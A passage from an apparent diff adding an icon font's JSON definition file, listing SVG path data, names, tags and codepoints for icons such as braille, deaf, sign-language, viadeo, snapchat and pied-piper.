109.714zM219.429 182.857c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714 49.143-109.714 109.714-109.714 109.714 49.143 109.714 109.714zM950.857 768c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714 49.143-109.714 109.714-109.714v0c60.571 0 109.714 49.143 109.714 109.714zM512 182.857c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714 49.143-109.714 109.714-109.714 109.714 49.143 109.714 109.714zM1243.429 768c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714 49.143-109.714 109.714-109.714v0c60.571 0 109.714 49.143 109.714 109.714zM950.857 475.429c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714 49.143-109.714 109.714-109.714v0c60.571 0 109.714 49.143 109.714 109.714zM1243.429 475.429c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714 49.143-109.714 109.714-109.714v0c60.571 0 109.714 49.143 109.714 109.714zM950.857 182.857c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714 49.143-109.714 109.714-109.714 109.714 49.143 109.714 109.714zM1243.429 182.857c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714 49.143-109.714 109.714-109.714v0c60.571 0 109.714 49.143 109.714 109.714z" + ], + "width": 1243.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "braille" + ], + "defaultCode": 62113, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "braille", + "id": 615, + "order": 1471, + "prevSize": 28, + "code": 62113 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 615 + }, + { + "icon": { + "paths": [ + "M73.143 987.429c0 20-16.571 36.571-36.571 36.571s-36.571-16.571-36.571-36.571 16.571-36.571 36.571-36.571 36.571 16.571 36.571 36.571zM182.857 877.714c0 20-16.571 36.571-36.571 36.571s-36.571-16.571-36.571-36.571 16.571-36.571 36.571-36.571 36.571 16.571 36.571 36.571zM208.571 669.143l146.286 146.286-51.429 51.429-146.286-146.286zM402.286 658.286c0 20-16.571 36.571-36.571 36.571s-36.571-16.571-36.571-36.571 16.571-36.571 36.571-36.571 36.571 16.571 36.571 36.571zM806.286 475.429c0 94.857-44.571 145.714-83.429 190.857-36 41.143-64.571 73.714-64.571 138.286 0 121.143-98.286 219.429-219.429 219.429-20 0-36.571-16.571-36.571-36.571s16.571-36.571 36.571-36.571c80.571 0 146.286-65.714 146.286-146.286 0-92 44-142.286 82.286-186.286 35.429-40.571 65.714-75.429 65.714-142.857 0-141.143-114.857-256-256-256s-256 114.857-256 256c0 20-16.571 36.571-36.571 36.571s-36.571-16.571-36.571-36.571c0-181.714 147.429-329.143 329.143-329.143s329.143 147.429 329.143 329.143zM512 548.571c0 20-16.571 36.571-36.571 36.571s-36.571-16.571-36.571-36.571 16.571-36.571 36.571-36.571 36.571 16.571 36.571 36.571zM676.571 475.429c0 20-16.571 36.571-36.571 36.571s-36.571-16.571-36.571-36.571c0-70.857-57.143-128-128-128-70.286 0-128 57.143-128 128 0 20-16.571 36.571-36.571 36.571s-36.571-16.571-36.571-36.571c0-110.857 90.286-201.143 201.143-201.143s201.143 90.286 201.143 201.143zM901.714 310.286c7.429 18.857-2.286 40-21.143 47.429-4 1.714-8.571 2.286-13.143 2.286-14.286 0-28.571-8.571-33.714-23.429-25.714-66.857-70.286-125.143-128-168.571-16-12-19.429-34.857-7.429-50.857 12.571-16 35.429-19.429 51.429-7.429 68.571 51.429 121.143 121.143 152 200.571zM1021.714 264c6.857 18.857-2.286 40-21.143 47.429-4.571 1.714-8.571 2.286-13.143 2.286-14.857 0-28.571-8.571-34.286-23.429-34.286-89.143-93.143-166.857-169.714-224.571-16.571-12-19.429-34.857-7.429-50.857 12-16.571 34.857-19.429 50.857-7.429 88 65.714 155.429 154.857 194.857 256.571z" + ], + "width": 1028.608, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "assistive-listening-systems" + ], + "defaultCode": 62114, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "assistive-listening-systems", + "id": 616, + "order": 1472, + "prevSize": 28, + "code": 62114 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 616 + }, + { + "icon": { + "paths": [ + "M589.714 548.571c-20-0.571-38.857-12-48-31.429-12.571-25.714-37.714-41.714-66.286-41.714-40.571 0-73.143 32.571-73.143 73.143 0 19.429 6.857 38.286 20.571 50.857l5.714 4.571c12.571 11.429 29.143 17.714 46.857 17.714 28.571 0 53.714-16 66.286-41.714 9.143-19.429 28-30.857 48-31.429zM914.286 475.429c0-19.429-6.857-38.286-20.571-50.857l-5.714-4.571c-12.571-11.429-29.143-17.714-46.857-17.714-28.571 0-53.714 16-66.286 41.714-9.143 19.429-28 30.857-48 31.429 20 0.571 38.857 12 48 31.429 12.571 25.714 37.714 41.714 66.286 41.714 40.571 0 73.143-32.571 73.143-73.143zM670.857 349.143c-13.143 26.857-46.286 38.286-73.143 25.143-24-12-49.714-17.714-76.571-17.714-20 0-38.857 3.429-56.571 9.714 3.429 0 7.429-0.571 10.857-0.571 70.286 0 134.857 41.143 165.143 104.571 13.143 27.429 1.143 60-26.286 73.143-6.857 3.429-14.286 5.143-22.286 5.143 8 0 15.429 1.714 22.286 5.143 27.429 13.143 39.429 45.714 26.286 73.143-30.286 63.429-94.857 104.571-165.143 104.571v0h-3.429c-8.571-1.143-16.571-1.714-25.143-2.286l-165.714-15.429-136.571 68.571c-5.714 2.857-10.857 4-16.571 4-13.143 0-26.286-7.429-32.571-20l-91.429-182.857c-8.571-17.714-2.286-38.857 14.286-48.571l119.429-68 84.571-152.571c13.143-117.714 71.429-225.714 164-301.714 23.429-19.429 58.286-16 77.143 7.429 19.429 23.429 16 57.714-7.429 77.143-25.714 21.714-48.571 46.286-66.857 73.143 44.571-30.286 96-50.857 152.571-57.714 30.286-4 57.714 17.143 61.143 47.429 4 30.286-17.143 57.714-47.429 61.143-33.143 4-64 15.429-90.857 31.429 18.286-4 37.143-5.714 56.571-5.714 43.429 0 85.714 9.714 124.571 28.571 27.429 13.714 38.857 46.286 25.143 73.714zM1221.143 257.714l91.429 182.857c8.571 17.714 2.286 38.857-14.286 48.571l-119.429 68-84.571 152.571c-13.143 117.714-71.429 225.714-164 301.714-10.286 8.571-22.857 12.571-34.857 12.571-16 0-31.429-6.857-42.286-20-19.429-23.429-16-57.714 7.429-77.143 25.714-21.714 48.571-46.286 66.857-73.143-44.571 30.286-96 50.857-152.571 57.714-2.286 0.571-4.571 0.571-6.857 0.571-27.429 0-50.857-20.571-54.286-48-4-30.286 17.143-57.714 47.429-61.143 33.143-4 64-15.429 90.857-31.429-18.286 4-37.143 5.714-56.571 5.714-43.429 0-85.714-9.714-124.571-28.571-27.429-13.714-38.857-46.286-25.143-73.714 13.143-26.857 46.286-38.286 73.143-25.143 24 12 49.714 17.714 76.571 17.714 20 0 38.857-3.429 56.571-9.714-3.429 0-7.429 0.571-10.857 0.571-70.286 0-134.857-41.143-165.143-104.571-13.143-27.429-1.143-60 26.286-73.143 6.857-3.429 14.286-5.143 22.286-5.143-8 0-15.429-1.714-22.286-5.143-27.429-13.143-39.429-45.714-26.286-73.143 30.286-63.429 94.857-104.571 165.143-104.571v0h4c8 1.143 16 1.714 24 2.286l166.286 15.429 136.571-68.571c5.714-2.857 10.857-4 16.571-4 13.143 0 26.286 7.429 32.571 20z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "american-sign-language-interpreting", + "asl-interpreting" + ], + "defaultCode": 62115, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "american-sign-language-interpreting, asl-interpreting", + "id": 617, + "order": 1473, + "prevSize": 28, + "code": 62115 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 617 + }, + { + "icon": { + "paths": [ + "M603.429 475.429c0 20 16.571 36.571 36.571 36.571s36.571-16.571 36.571-36.571c0-110.857-90.286-201.143-201.143-201.143s-201.143 90.286-201.143 201.143c0 20 16.571 36.571 36.571 36.571s36.571-16.571 36.571-36.571c0-70.857 57.714-128 128-128s128 57.143 128 128zM477.143 146.286c-181.714 0-329.143 147.429-329.143 329.143 0 20 16.571 36.571 36.571 36.571s36.571-16.571 36.571-36.571c0-141.143 114.857-256 256-256s256 114.857 256 256c0 67.429-30.286 102.286-65.714 142.857-38.286 44-82.286 94.286-82.286 186.286 0 80.571-65.714 146.286-146.286 146.286-20 0-36.571 16.571-36.571 36.571s16.571 36.571 36.571 36.571c121.143 0 219.429-98.286 219.429-219.429 0-64.571 28.571-97.143 64.571-138.286 38.857-45.143 83.429-96 83.429-190.857 0-181.714-147.429-329.143-329.143-329.143zM337.714 557.143l129.143 129.143-330.857 330.857c-9.143 9.143-24 9.143-33.143 0l-96-96c-9.143-9.143-9.143-24 0-33.143zM921.143 6.857l96 96c9.143 9.143 9.143 24 0 33.714l-133.143 133.143-14.857 14.286-40.571 40.571c-24.571-57.143-62.286-107.429-111.429-147.429l170.286-170.286c9.714-9.143 24.571-9.143 33.714 0z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "deaf", + "deafness", + "hard-of-hearing" + ], + "defaultCode": 62116, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "deaf, deafness, hard-of-hearing", + "id": 618, + "order": 1474, + "prevSize": 28, + "code": 62116 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 618 + }, + { + "icon": { + "paths": [ + "M494.857 294.286c0 18.286-4 36-7.429 53.714-12 57.143-23.429 114.286-35.429 171.429-1.714 8-1.714 8-10.286 8.571-5.714 0.571-12 1.143-17.714 1.143-49.143 0-62.857-53.143-62.857-93.143 0-59.429 23.429-138.857 78.857-170.286 9.143-4.571 18.857-8 29.143-8 23.429 0 25.714 17.143 25.714 36.571zM772.571 536.571c0-10.286-42.286-77.143-52-81.143-4.571-1.714-14.286-4.571-19.429-4.571-46.857 0-89.143 21.143-129.143 44l-1.143-1.143c9.143-61.143 29.714-115.429 29.714-178.857 0-90.857-48.571-133.143-138.286-133.143-13.143 0-26.286 1.714-38.857 3.429-112.571 20-181.143 148.571-181.143 254.286 0 112 64.571 173.714 176 173.714 2.286 0 14.286-1.143 14.286 1.714 0 1.143 0 1.714-0.571 2.857-2.286 21.714-9.143 45.714-14.857 66.857-8.571 31.429-38.286 85.714-76.571 85.714-16.571 0-24-11.429-24-26.857 0-49.714 57.143-79.429 58.286-82.286 0-2.286-2.857-4.571-4-5.714-17.714-16-46.857-29.143-70.857-29.143-43.429 0-66.857 69.714-66.857 105.143 0 66.286 41.714 112 108.571 112 98.857 0 170.857-104 193.143-189.714 6.286-25.143 10.857-50.857 17.143-76 1.143-5.143 2.857-7.429 8-10.286 40.571-20.571 83.429-34.286 129.714-34.286 25.143 0 47.429 4.571 72.571 10.286 0.571 0.571 1.714 0.571 2.286 0.571 3.429 0 8-4 8-7.429zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "glide" + ], + "defaultCode": 62117, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "glide", + "id": 619, + "order": 1475, + "prevSize": 28, + "code": 62117 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 619 + }, + { + "icon": { + "paths": [ + "M425.143 174.286c0-30.286-2.857-56.571-39.429-56.571-15.429 0-30.857 5.143-44.571 13.143-86.286 47.429-121.714 170.286-121.714 262.857 0 61.714 21.143 144 96.571 144 17.143 0 38.857 4.571 43.429-15.429 18.286-88 36.571-176.571 54.857-264.571 5.714-27.429 10.857-55.429 10.857-83.429zM856 549.143c0 5.714-7.429 11.429-13.143 11.429l-3.429-0.571c-38.857-5.714-73.143-16-112.571-16-71.429 0-137.143 21.143-200.571 53.143-8 4-9.714 7.429-12 15.429-10.286 38.857-17.143 78.857-26.857 117.714-34.286 133.143-145.714 293.714-298.286 293.714-104 0-168-70.857-168-173.143 0-55.429 36-163.429 102.857-163.429 23.429 0 115.429 30.286 116 54.286-1.143 4.571-89.714 50.286-89.714 127.429 0 23.429 11.429 41.714 37.143 41.714 90.857 0 132.571-165.714 141.714-235.429v-5.143c0-4.571-18.286-2.286-21.714-2.286-172 0-272.571-96-272.571-269.143 0-163.429 106.286-362.857 280.571-393.143 20-3.429 40-5.143 60.571-5.143 138.286 0 213.714 64.571 213.714 205.714 0 95.429-32.571 183.429-46.286 276.571l1.714 1.714c61.714-34.857 126.857-68 200-68 7.429 0 23.429 4.571 30.286 7.429 14.857 5.714 80.571 109.143 80.571 125.143z" + ], + "width": 877.1291428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "glide-g" + ], + "defaultCode": 62118, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "glide-g", + "id": 620, + "order": 1476, + "prevSize": 28, + "code": 62118 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 620 + }, + { + "icon": { + "paths": [ + "M474.857 384.571c12 0 23.429 3.429 33.714 10.286l126.857 84.571c23.429 15.429 44.571 34.286 62.857 55.429l83.429 97.143c14.286 16.571 20.571 38.857 16.571 60.571l-41.143 236c-4.571 24-24 42.286-48.571 45.143l-301.143 32-201.143 18.286h-5.143c-29.714 0-54.857-24-54.857-54.857 0-28.571 24-51.429 52.571-54.857l148.571-18.286h-256c-31.429 0-56.571-26.286-54.857-57.714 1.714-29.714 28-52 57.714-52l252.571-0.571-297.714-36.571c-30.857-3.429-53.143-31.429-48.571-62.857 4.571-27.429 29.714-45.714 57.143-45.714h5.714l274.857 34.286-200.571-53.714c-28.571-7.429-50.286-33.714-45.714-62.857 4.571-27.429 28-46.286 54.286-46.286 4 0 7.429 0.571 11.429 1.143l256 54.857 124 21.143c1.143 0 2.286 0.571 3.429 0.571 17.143 0 25.714-23.429 10.286-33.714l-106.286-71.429c-26.286-17.714-32.571-53.143-13.714-78.286 10.286-14.286 26.857-21.714 43.429-21.714zM434.857 500l106.286 71.429-124.571-21.143-2.857-1.143-20.571-21.714-136-149.714c-1.143-1.143-1.714-2.857-2.857-4-17.714-23.429-13.714-57.714 10.857-76.571 22.857-17.714 55.429-12 75.429 9.143l81.143 84c-1.714 1.714-3.429 2.857-5.143 4.571-12 16.571-16.571 36.571-13.143 56.571 3.429 19.429 14.857 37.143 31.429 48.571zM941.714 240.571l8.571 152c1.714 28-0.571 56.571-6.286 84l-27.429 125.143c-4.571 21.714-18.286 39.429-38.286 49.714l-60.571 30.857c0.571-22.857-6.857-44.571-22.286-62.286l-83.429-97.143c-19.429-22.286-41.714-42.286-66.857-58.857l-126.857-84.571c-12.571-8.571-27.429-13.143-43.429-13.143-19.429 0-37.143 8-50.286 21.143l-134.286-178.286c-18.857-25.143-13.143-60.571 13.143-78.286 24.571-17.143 58.286-9.143 76.571 14.857l152 201.143-149.714-260c-16-26.857-6.857-61.714 21.143-76.571 26.286-13.714 59.429-2.857 74.286 22.857l137.714 240-77.714-192.571c-10.857-27.429-3.429-60.571 22.857-74.286 28-14.857 62.286-2.857 75.429 25.714l110.286 237.143 57.714 112c9.143 17.714 36 10.286 34.857-9.143l-6.857-128c-1.714-31.429 22.857-57.714 54.286-58.286 29.714 0 53.714 25.143 55.429 54.857z" + ], + "width": 948.0045714285714, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sign-language", + "signing" + ], + "defaultCode": 62119, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "sign-language, signing", + "id": 621, + "order": 1477, + "prevSize": 28, + "code": 62119 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 621 + }, + { + "icon": { + "paths": [ + "M191.429 774.857c-1.143 0-2.286-0.571-3.429-1.143-66.857-44.571-133.714-117.714-176-185.714-8-11.429-12-25.143-12-39.429 0-29.714 20.571-53.714 37.143-76 66.286-90.286 154.857-164.571 258.286-208.571-8.571-15.429-62.857-110.286-62.857-120.571 0-6.857 4-13.143 9.714-16.571 11.429-6.286 62.857-36.571 73.143-36.571 6.286 0 12.571 3.429 16 9.143l70.857 130.857c36-7.429 73.143-10.857 109.714-10.857 206.857 0 390.857 117.143 500.571 289.714 7.429 11.429 11.429 25.143 11.429 39.429s-4 28-11.429 39.429c-68 106.857-167.429 195.429-284 245.143 8.571 15.429 62.857 110.286 62.857 120.571 0 6.857-3.429 13.143-9.714 16.571-11.429 6.286-62.857 36.571-72.571 36.571-6.857 0-13.143-3.429-16.571-9.143l-70.857-130.857-36.571-68-253.714-468.571 4-4c-19.429 8-38.286 16.571-56.571 26.857 6.857 13.143 279.429 513.714 279.429 517.714 0 2.857-2.286 4.571-5.143 5.143-12.571 2.857-28.571 1.714-41.143 1.714-6.286 0-32 1.143-34.286-4l-260.571-480.571c-16.571 12-32 25.143-46.857 38.857 12.571 22.286 230.857 424 230.857 427.429 0 4.571-2.857 5.714-6.286 5.714-9.714 0-85.714-23.429-88.571-28.571l-60.571-112.571-128-236c-16 19.429-30.857 39.429-44.571 60.571 7.429 10.857 17.143 22.286 23.429 33.714 8 14.857 100.571 183.429 100.571 186.857 0 2.857-2.857 5.714-5.714 5.714zM665.714 716.571l28 52c106.857-43.429 194.857-123.429 257.143-220-63.429-97.714-153.714-178.857-262.286-222.286 50.857 48.571 79.429 115.429 79.429 185.714 0 80.571-37.714 156.571-102.286 204.571zM484.571 365.714c0 14.857 12.571 27.429 27.429 27.429 31.429 0 61.714 12.571 84 34.857s34.857 52.571 34.857 84c0 14.857 12.571 27.429 27.429 27.429s27.429-12.571 27.429-27.429c0-96-77.714-173.714-173.714-173.714-14.857 0-27.429 12.571-27.429 27.429zM693.714 328.571l-5.143-2.286 4 4z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "low-vision" + ], + "defaultCode": 62120, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "low-vision", + "id": 622, + "order": 1478, + "prevSize": 28, + "code": 62120 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 622 + }, + { + "icon": { + "paths": [ + "M600 632c0 81.714-28.571 153.714-84 213.714-57.714 62.857-130.857 92-216 92-84.571 0-158.286-28.571-216-92-55.429-60-84-132-84-213.714 0-169.714 128-308.571 300-308.571 35.429 0 70.857 5.714 104 17.714-11.429 22.286-19.429 46.857-22.286 72-25.714-10.857-53.714-16-81.714-16-129.714 0-225.143 110.857-225.143 236.571 0 128 94.857 232.571 225.143 232.571s224.571-104.571 224.571-232.571c0-32.571-5.714-64.571-18.286-94.857 25.143-5.143 49.143-14.857 70.286-28 16 38.286 23.429 80 23.429 121.143zM483.429 524c0 144-58.286 264-181.714 341.714l-8 0.571c-12 0-24-1.143-35.429-2.857 165.143-62.857 195.429-313.714 195.429-466.857 0-19.429 0-39.429-1.714-58.857 20.571 60 31.429 122.857 31.429 186.286zM452 336.571v1.143c-29.714-87.429-70.857-172-117.714-251.429 72 48.571 111.429 166.286 117.714 250.286zM591.429 452.571c-35.429 0-66.857-18.857-91.429-42.857 58.286-32 132-81.714 165.714-141.143 4-8 10.857-22.857 12-32-33.143 74.286-117.714 132.571-196.571 150.857-12.571-19.429-20-41.143-20-64.571 0-27.429 13.714-64 34.286-84 23.429-22.286 58.286-33.714 89.714-42.286 45.714-12.571 82.857-48 102.857-90.857 29.714 42.286 42.286 93.714 42.286 144.571 0 25.714-4 72.571-13.714 97.143-21.143 51.429-64 105.143-125.143 105.143z" + ], + "width": 730.2582857142856, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "viadeo" + ], + "defaultCode": 62121, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "viadeo", + "id": 623, + "order": 1479, + "prevSize": 28, + "code": 62121 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 623 + }, + { + "icon": { + "paths": [ + "M600 594.857c0-28.571-5.143-57.143-16-84-14.857 9.143-31.429 16-48.571 19.429 9.143 20.571 12.571 42.857 12.571 65.143 0 88-65.143 160-154.286 160-89.714 0-154.857-72-154.857-160 0-86.286 65.714-162.286 154.857-162.286 19.429 0 38.286 3.429 56 10.857 1.714-17.143 7.429-34.286 15.429-49.714-22.857-8-46.857-12-71.429-12-118.286 0-206.286 95.429-206.286 212.571s88.571 209.714 206.286 209.714 206.286-93.143 206.286-209.714zM498.286 392c1.143 13.714 1.143 27.429 1.143 40.571 0 105.714-20.571 277.714-134.286 321.143 8 1.143 16 1.714 24 1.714h5.714c84.571-53.714 125.143-136 125.143-234.857 0-44-7.429-87.429-21.714-128.571zM498.286 392c-2.857-55.429-34.286-141.143-81.143-172.571 32 54.286 60.571 112.571 81.143 172.571zM689.714 332c0-34.857-8.571-70.286-29.143-99.429-13.714 29.143-39.429 53.714-70.857 62.286-45.143 12.571-85.143 33.714-85.143 87.429 0 15.429 5.143 30.857 13.714 44 54.286-12.571 112-52.571 134.857-104-3.429 45.714-88.571 101.143-121.714 119.429 16.571 16.571 38.286 29.714 62.857 29.714 41.714 0 71.429-37.143 85.714-72.571 6.857-17.143 9.714-49.143 9.714-66.857zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "viadeo-square" + ], + "defaultCode": 62122, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "viadeo-square", + "id": 624, + "order": 1480, + "prevSize": 28, + "code": 62122 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 624 + }, + { + "icon": { + "paths": [ + "M730.857 656c0-8-4.571-13.714-12.571-15.429-52-11.429-91.429-47.429-113.143-95.429-1.714-4.571-4-9.143-4-14.286 0-25.714 71.429-20.571 71.429-57.143 0-15.429-18.857-25.143-32.571-25.143-13.143 0-23.429 9.143-36 9.143-2.286 0-4.571-0.571-6.857-1.143 1.143-21.714 2.857-43.429 2.857-65.143 0-20-1.143-47.429-9.714-65.143-27.429-59.429-80.571-94.286-145.714-94.286-71.429 0-125.714 26.286-157.143 94.286-8.571 17.714-9.714 45.143-9.714 65.143 0 21.714 1.714 43.429 2.857 65.143-2.286 1.143-5.143 1.143-8 1.143-13.143 0-23.429-8.571-35.429-8.571-14.286 0-32 9.143-32 25.143 0 35.429 71.429 30.857 71.429 56.571 0 5.143-2.286 9.714-4 14.286-22.286 48-60.571 84-113.143 95.429-8 1.714-12.571 7.429-12.571 15.429 0 26.286 60.571 36 78.286 38.857 5.143 13.714 2.857 37.714 23.429 37.714 14.286 0 28.571-5.143 44-5.143 60 0 76 54.286 145.714 54.286 72.571 0 86.286-54.286 146.857-54.286 15.429 0 29.714 4.571 44.571 4.571 20 0 17.714-24 22.857-37.143 17.714-2.857 78.286-12.571 78.286-38.857zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "snapchat" + ], + "defaultCode": 62123, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "snapchat", + "id": 625, + "order": 1481, + "prevSize": 28, + "code": 62123 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 625 + }, + { + "icon": { + "paths": [ + "M484.571 73.143c102.857-1.143 188 56.571 230.857 149.143 13.143 28 15.429 71.429 15.429 102.286 0 36.571-2.857 72.571-5.143 109.143 4.571 2.286 10.857 4 16 4 20.571 0 37.714-15.429 58.286-15.429 19.429 0 47.429 13.714 47.429 36.571 0 54.857-114.857 44.571-114.857 92.571 0 8.571 3.429 16.571 6.857 24.571 27.429 60 79.429 117.714 141.143 143.429 14.857 6.286 29.714 9.714 45.714 13.143 10.286 2.286 16 9.714 16 20 0 38.857-98.857 54.857-125.143 58.857-11.429 17.714-2.857 59.429-33.143 59.429-23.429 0-46.857-7.429-72-7.429-12 0-24 0.571-35.429 2.857-68 11.429-90.857 84.571-202.286 84.571-107.429 0-133.143-73.143-199.429-84.571-12-2.286-24-2.857-36-2.857-25.714 0-50.286 8.571-70.857 8.571-32 0-22.286-42.286-34.286-60.571-26.286-4-125.143-20-125.143-58.857 0-10.286 5.714-17.714 16-20 16-3.429 30.857-6.857 45.714-13.143 61.143-25.143 114.286-83.429 141.143-143.429 3.429-8 6.857-16 6.857-24.571 0-48-115.429-38.857-115.429-92 0-22.286 26.286-36.571 46.286-36.571 17.714 0 35.429 14.857 57.714 14.857 6.286 0 12.571-1.143 18.286-4-2.286-36-5.143-72-5.143-108.571 0-30.857 2.286-74.857 15.429-102.857 50.286-108.571 135.429-148 249.143-149.143z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "snapchat-ghost" + ], + "defaultCode": 62124, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "snapchat-ghost", + "id": 626, + "order": 1482, + "prevSize": 28, + "code": 62124 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 626 + }, + { + "icon": { + "paths": [ + "M731.429 656c0-8-4.571-13.714-12.571-15.429-52-10.857-91.429-47.429-113.143-95.429-2.286-4.571-4-9.143-4-14.286 0-25.714 70.857-20.571 70.857-57.143 0-15.429-18.857-25.143-32.571-25.143-12.571 0-22.857 9.143-36 9.143-2.286 0-4.571-0.571-6.857-1.143 1.714-21.714 2.857-44 2.857-65.714 0-19.429-1.143-46.857-9.714-65.143-27.429-59.429-80-94.286-145.714-94.286-71.429 0-125.714 26.857-157.143 94.286-8.571 18.286-10.286 45.714-10.286 65.714 0 21.714 1.714 43.429 3.429 65.143-2.857 0.571-5.714 1.143-8.571 1.143-12.571 0-23.429-9.143-35.429-9.143-14.286 0-31.429 9.714-31.429 25.714 0 35.429 70.857 30.857 70.857 56.571 0 5.143-1.714 9.714-4 14.286-22.286 48-60.571 84-113.143 95.429-8 1.714-12.571 7.429-12.571 15.429 0 26.857 60.571 36.571 78.857 39.429 5.143 13.714 2.857 37.714 22.857 37.714 14.857 0 29.143-5.714 44-5.714 60.571 0 76.571 54.286 146.286 54.286 72.571 0 86.286-54.286 147.429-54.286 14.857 0 29.714 5.143 44.571 5.143 19.429 0 17.714-24 22.286-37.143 18.286-2.857 78.857-12.571 78.857-39.429zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "snapchat-square" + ], + "defaultCode": 62125, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "snapchat-square", + "id": 627, + "order": 1483, + "prevSize": 28, + "code": 62125 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 627 + }, + { + "icon": { + "paths": [ + "M1316.571 0c-166.286 110.286-184 190.286-198.286 214.857-13.714 25.143-24 124-48 172-24 48.571-111.429 86.857-136 102.857-24 16-58.286 78.286-86.286 132-126.286-5.143-251.429 25.714-360 90.286 0 0-52.571 30.286-173.143 102.286 60.571-20 89.143-34.286 89.143-34.286 150.857-57.714 190.857-85.143 312.571-105.143 93.714-15.429 214.857-2.857 265.714 4 2.286 0 4 1.143 5.714 1.714 8 4.571 10.857 14.286 6.286 22.286l-110.857 197.143c-5.143 9.714-16 14.857-26.857 12.571-27.429-5.143-90.286-13.714-202.286-13.714-162.286 0-294.286 49.714-453.714 52-134.286 1.714-186.857-53.143-200-70.857 0-0.571-0.571-1.143-0.571-1.714 0-2.286 1.143-3.429 3.429-3.429 0 0 78.857 0 212-31.429 151.429-288.571 286.286-389.714 433.143-389.714 0 0 147.429 0 186.286 127.429 46.857-81.714 58.286-101.143 58.286-101.143 10.857-19.429 72-158.857 177.714-290.857v0c106.286-132 186.286-164.571 245.714-189.143z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pied-piper" + ], + "defaultCode": 62126, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "pied-piper", + "id": 628, + "order": 1484, + "prevSize": 28, + "code": 62126 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 628 + }, + { + "icon": { + "paths": [ + "M755.429 512c0 14.857-0.571 29.143-2.857 43.429l-134.857-8 128 44.571c-7.429 29.143-18.857 56-33.143 80.571l-122.286-58.857 101.143 90.286c-17.143 23.429-37.714 44-61.143 61.714l-89.714-101.714 58.857 122.857c-24.571 14.857-51.429 25.714-80 33.714l-45.143-130.286 8 137.143c-14.286 2.286-28.571 3.429-43.429 3.429-14.286 0-29.143-1.143-43.429-3.429l8-136-44.571 129.143c-28.571-7.429-55.429-18.857-80-33.714l58.857-122.857-89.714 101.714c-23.429-17.143-44-38.286-61.714-61.714l101.714-90.286-122.286 59.429c-14.286-25.143-25.714-52-33.143-80.571l128-45.143-135.429 8c-1.714-14.286-2.857-28.571-2.857-43.429s1.143-29.714 2.857-44l136 8-128.571-45.143c7.429-28.571 18.857-55.429 33.143-80l122.286 59.429-101.143-90.857c17.714-23.429 38.286-44 61.143-61.714l90.286 101.714-58.857-122.857c24.571-14.286 51.429-25.714 80-33.143l44 